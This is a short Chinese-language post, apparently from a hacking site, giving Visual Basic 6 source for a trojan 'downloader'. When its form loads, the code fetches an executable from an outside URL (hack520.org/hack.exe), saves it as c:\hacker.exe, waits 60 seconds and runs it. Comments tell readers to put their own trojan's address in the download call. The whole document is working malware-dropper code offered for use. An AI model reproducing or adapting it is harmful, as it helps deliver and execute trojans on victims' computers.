VB下载者代码，应该是最精简最简单的啦！

源代码如下：

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) 'API函数声明
Private Sub Form_Load()
URLDownloadToFile 0, "http://www.hack520.org/hack.exe", "c:\hacker.exe", 0, 0  '第2个参数是你的木马地址，第3个是保存的位置，其他默认就可以
Sleep 60000 '单位是毫秒，我这里是挂起60秒，即60秒后运行
ShellExecute 0, vbNullString, "c:\hacker.exe", vbNullString, vbNullString, vbNormalFocus
End
End Sub